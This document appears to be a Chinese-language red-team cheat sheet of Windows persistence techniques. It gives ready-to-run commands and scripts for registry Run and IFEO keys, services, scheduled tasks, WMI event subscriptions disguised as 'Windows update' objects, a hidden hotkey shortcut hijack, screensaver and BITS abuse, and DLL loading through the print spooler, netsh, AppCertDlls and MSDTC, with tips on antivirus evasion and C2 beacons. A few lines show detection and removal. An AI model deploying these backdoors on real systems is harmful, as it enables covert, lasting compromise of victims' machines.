windows

Startup目录

NT6内核以后

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 对所有用户都有效 C:\Users\当前用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 对当前用户有效

注册表

reg add “xxx” /v evil /t REG_SZ /d “[Absolute Path]\evil.exe”

  1. C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
  2. 操作成功完成。
  3. C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
  4. 操作成功完成。
  5. C:\Windows\system32>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\ProgramData\test.exe"
  6. 操作成功完成。

windows com

ITaskService

实战可以使用

  1. 1.Initialization
  2. 为了获取到获取 ITaskService 对象以及 ITaskFolder 对象
  3. 首先初始化COM接口
  4. 2.CreateTask
  5. 首先创建任务定义对象,进行任务创建操作
  6. 接着设置注册信息
  7. 设置主体信息
  8. 设置任务相关信息
  9. 创建触发器
  10. 设置执行操作
  11. ITaskFolder对象注册
  12. 3.DeleteTask

服务

创建服务

  1. sc create evil binpath="cmd.exe /k [Absolute Path]evil.exe" start="auto" obj="LocalSystem"

计划任务

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RT HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

WMI

由于WMI事件循环执行,为确保不会无限弹shell,可以使用系统启动时间来限制

WMI事件,即特定对象的属性发⽣改变时发出的通知,其中包括增加、修改、删除三种类型。可以使⽤wmic来进⾏操作。通俗的可以说:WMI内部出现什么变化就由WMI事件来进⾏通知。 WMI事件中的事件消费者可以分为临时和永久两类,临时的事件消费者只在其运⾏期间关⼼特定事件并进⾏处 理,永久消费者作为类的实例注册在WMI命名空间中,⼀直有效到它被注销。所以在权限维持中⼀般我们使⽤WMI 永久事件来进⾏。

  1. 查询事件
  2. #列出事件过滤器
  3. Get-WMIObject -Namespace root\Subscription -Class __EventFilter
  4. #列出事件消费者
  5. Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
  6. #列出事件绑定
  7. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
  8. 删除事件
  9. #删除事件过滤器
  10. Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='事件过滤器
  11. 名'" | Remove-WmiObject -Verbose
  12. #删除事件消费者
  13. Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter
  14. "Name='事件消费者名'" | Remove-WmiObject -Verbose
  15. #删除事件绑定
  16. Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter
  17. "__Path LIKE '%事件绑定名%'" | Remove-WmiObject -Verbose

WMI永久事件

没有指定时间轮询则需要机器重启才可以进⾏WMI轮询,需要注意的⼀点是,WMI可以任意指定触发 条件,例如⽤户退出,某个程序创建,结束等等。

  1. wmic添加永久事件
  2. #注册⼀个 WMI 事件过滤器
  3. wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BugSecFilter",
  4. EventNamespace = "root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __TimerEvent
  5. WITHIN 10 WHERE TimerID = 'BugSecFilter'"
  6. #注册⼀个 WMI 事件消费者
  7. wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE
  8. Name="BugSecConsumer", CommandLineTemplate="cmd.exe /c c:\beacon.exe"
  9. #将事件消费者绑定到事件过滤器
  10. wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE
  11. Filter='\\.\root\subscription:__EventFilter.Name="BugSecFilter"',
  12. Consumer='\\.\root\subscription:CommandLineEventConsumer.Name="BugSecConsumer"'

Powershell添加永久事件

可以考虑添加Powershell的时间间隔器,需要上线⾄C2则将Payload替换成C2的exe或者dll或者ps1即 可。
需要修改⼀下参数

  1. IntervalBetweenEvents ###修改间隔时间,以毫秒为单位。
  2. $EventFilterArgs 中的 Name ###修改筛选器名称。
  3. Query ###修改其中WQL语句,以下脚本中可不⽤修改,但TimerID需和$TimerArgs中的参数匹配。
  4. $FinalPayload ###修改Payload,可以指定执⾏Powershell,或者cmd或者其他命令。
  5. $CommandLineConsumerArgs 中的 Name ###修改消费者名称。
  1. $TimerArgs = @{
  2. IntervalBetweenEvents = ([UInt32] 2000) # 30 min
  3. SkipIfPassed = $False
  4. TimerId ="Trigger" };
  5. $EventFilterArgs = @{
  6. EventNamespace = 'root/cimv2'
  7. Name = "Windows update trigger"
  8. Query = "SELECT * FROM __TimerEvent WHERE TimerID = 'Trigger'"
  9. QueryLanguage = 'WQL' };
  10. $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments
  11. $EventFilterArgs;
  12. $FinalPayload = 'cmd.exe /c c:\beacon.exe'
  13. $CommandLineConsumerArgs = @{
  14. Name = "Windows update consumer"
  15. CommandLineTemplate = $FinalPayload};
  16. $Consumer = Set-WmiInstance -Namespace root/subscription -Class
  17. CommandLineEventConsumer -Arguments $CommandLineConsumerArgs;
  18. $FilterToConsumerArgs = @{
  19. Filter = $Filter
  20. Consumer = $Consumer};
  21. $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class
  22. __FilterToConsumerBinding -Arguments $FilterToConsumerArgs;

上述脚本出现的WQL语句,也可以指定WITHIN来指定间隔时间,以秒为单位,但是需提前指定 TimerID,可以⾃⾏修改PS1脚本进⾏完善,将添加后⻔、删除后⻔的操作集成到⼀个脚本内完成,同时免杀 的操作可以针对性的进⾏混淆或编码的操作。

  1. SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'Trigger'

将上述Powershell脚本替换其执⾏的Payload进⾏本地执⾏,另存为ps1格式并修改其轮询的时间。若 想做成远程下载格式,则需要将Powershell做好免杀的操作。
运⾏ps1脚本后成功上线

Mof⽂件添加事件

在测试Mof⽂件添加事件时,编译后的确能够正常添加事件,但是未能执⾏指定命令

  1. #PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
  2. instance of CommandLineEventConsumer as $Cons
  3. {
  4. Name = "test1comsumer";
  5. RunInteractively=false;
  6. CommandLineTemplate="cmd.exe /c c:\beacon.exe";
  7. };
  8. instance of __EventFilter as $Filt
  9. {
  10. Name = "test1filter";
  11. EventNamespace = "root\\cimv2";
  12. Query ="SELECT * FROM __TimerEvent WITHIN 10 WHERE TimerID = 'test1filter'";
  13. QueryLanguage = "WQL";
  14. };
  15. instance of __FilterToConsumerBinding
  16. {
  17. Filter = $Filt;
  18. Consumer = $Cons;
  19. };
  20. 编译
  21. mofcomp.exe wmi.mo

LNK

Windows快捷方式可以注册一个快捷键
image.png

我们可以将激活方式设置为常用的快捷键组合,比如ctrl+c等 资源管理器仅允许ctrl+alt开头的快捷方式 但可以通过com编程的方式实现

power shell版本

  1. #声明一个指向受害者目录的变量
  2. $path = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
  3. $wshell = New-Object -ComObject Wscript.Shell
  4. $shortcut = $wshell.CreateShortcut($path)
  5. #设置一个可信的图标
  6. $shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
  7. $shortcut.TargetPath = "cmd.exe"
  8. $shortcut.Arguments = "/c calc.exe"
  9. $shortcut.WorkingDirectory = "C:"
  10. $shortcut.HotKey = "CTRL+C"
  11. $shortcut.Description = "Nope, not malicious"
  12. $shortcut.WindowStyle = 7
  13. # 7 = Minimized window
  14. # 3 = Maximized window
  15. # 1 = Normal window
  16. $shortcut.Save()
  17. (Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)

VBA, VBScript

  1. Set wshell = CreateObject("WScript.Shell")
  2. Dim path
  3. path = wshell.SpecialFolders("Desktop") & "/FakeText.lnk"
  4. Set shortcut = wshell.CreateShortcut(path)
  5. shortcut.IconLocation = "C:\Windows\System32\shell32.dll,70"
  6. shortcut.WindowStyle = 7
  7. shortcut.TargetPath = "cmd.exe"
  8. shortcut.Arguments = "/c calc.exe"
  9. shortcut.WorkingDirectory = "C:"
  10. shortcut.HotKey = "CTRL+C"
  11. shortcut.Description = "Nope, not malicious"
  12. shortcut.Save
  13. ' Optional if we want to make the link invisible (prevent user clicks)
  14. Set fso = CreateObject("Scripting.FileSystemObject")
  15. Set mf = fso.GetFile(path)
  16. mf.Attributes = 2

不过这将破坏了原有的ctrl+c快捷键,因为桌面的快捷方式优先于标准的快捷键

image.png

其实觉得还不如写一个可执行程序,先打开他的程序,然后调用shellcode 也没啥感觉

屏幕保护

虽然未必所有的用户都用屏幕保护,但相关配置都在注册表中

如果从未设置过屏幕保护,除了”ScreenSaveActive”默认值为1,其他键都是不存在的 屏幕保护的正常运行 需要这几个键都有数据才可以 故必须把这4个键都重写一遍 屏保程序最短触发时间为60

  1. HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
  2. HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
  3. HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
  4. HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
  5. reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
  6. reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
  7. reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
  8. reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

后台智能传输

BITS可帮助传输大量数据而不会降低网络性能 利用bitsadmin

  1. bitsadmin /create evil
  2. bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
  3. bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
  4. bitsadmin /Resume evil

重启后任务不会结束,90天以后结束

检测方式

  1. bitsadmin /list /allusers /verbose

后台打印程序服务

后台打印程序服务负责管理windows操作系统中的打印作业
打印后台程序的API包含一个函数-AddMonitor
用于安装本地端口监视器并连接,数据和监视器文件
该函数会将dll注入到spoolsv.exe进程中实现相应功能

  1. 首先将恶意DLL放到C:\Windows\System32\路径下
  2. reg add “hklm\system\currentcontrolset\control\print\monitors\monitor” /v “Driver” /d “monitor.dll” /t REG_SZ
  3. 重启后,恶意dll则会被自动加载到spoolsv.exe

Netsh

windows自带的命令,用来配置网络的命令行工具,可以通过导入helperdll的功能,且dll导入后会写入注册表,永久有效

image.png
因此可以通过导入helperdll的方式做权限维持,命令格式如下:
netsh add helper [Absolute evil DLL path]
但是由于netsh并不会开启自启动,因此还要再写一条自启动项:
reg add “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run” /v Pentestlab /t REG_SZ /d “cmd /c C:\Windows\System32\netsh”
重新启动后依然可获得shell

AppCertDlls

注册表项“AppInit_DLLs”中的值会在user32.dll被加载到内存的时候被读取,若其中有值则调用API“LoadLibrary()”加载用户DLL
早些年用这个做DLL注入式持久化比较流行,但如今在很多新系统上却失效了。其原因是由于kernel32.dll在启动时有一个标记位的判断
image.png

kernel32.dll对0x67的Class进行NtQuerySystemInformation后,检查ReturnLength与2的运算是否为0(是否相等),若相等则不加载DLL直接ret

ox67 它是由bcdedit.exe的“–set testsigning on/off”参数设置的,但现在比较新的机器一般都在BIOS中默认设置了secure boot,如果不关掉这个选项是无法修改上面的标记的。因此,这个方法目前局限性就比较大了。
然而其实还有一个注册表项不太常用,并且也能够自动加载DLL,那就是AppCertDlls。当进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW、WinExec这些API的时候,该项中的内容会被自动加载,而幸运的,是很多程序都会调用这些API。
写一个测试程序调用上面的API

image.png

MSDTC

msdtc是微软分布式传输协调bai程序 该服务启动后会尝试从system32加载三个dll文件:oci.dll,sqllib80.dll,xa80.dll

image.png
image.png

在默认的windows安装中,system32文件夹中缺少oci.dll这个文件,在获得权限的情况下,可以在该文件夹下面写入一个同名的dll 默认情况下,由于启动项类型设置为手动,可以设置为自动

  1. sc qc msdtc
  2. sc config msdtc start= auto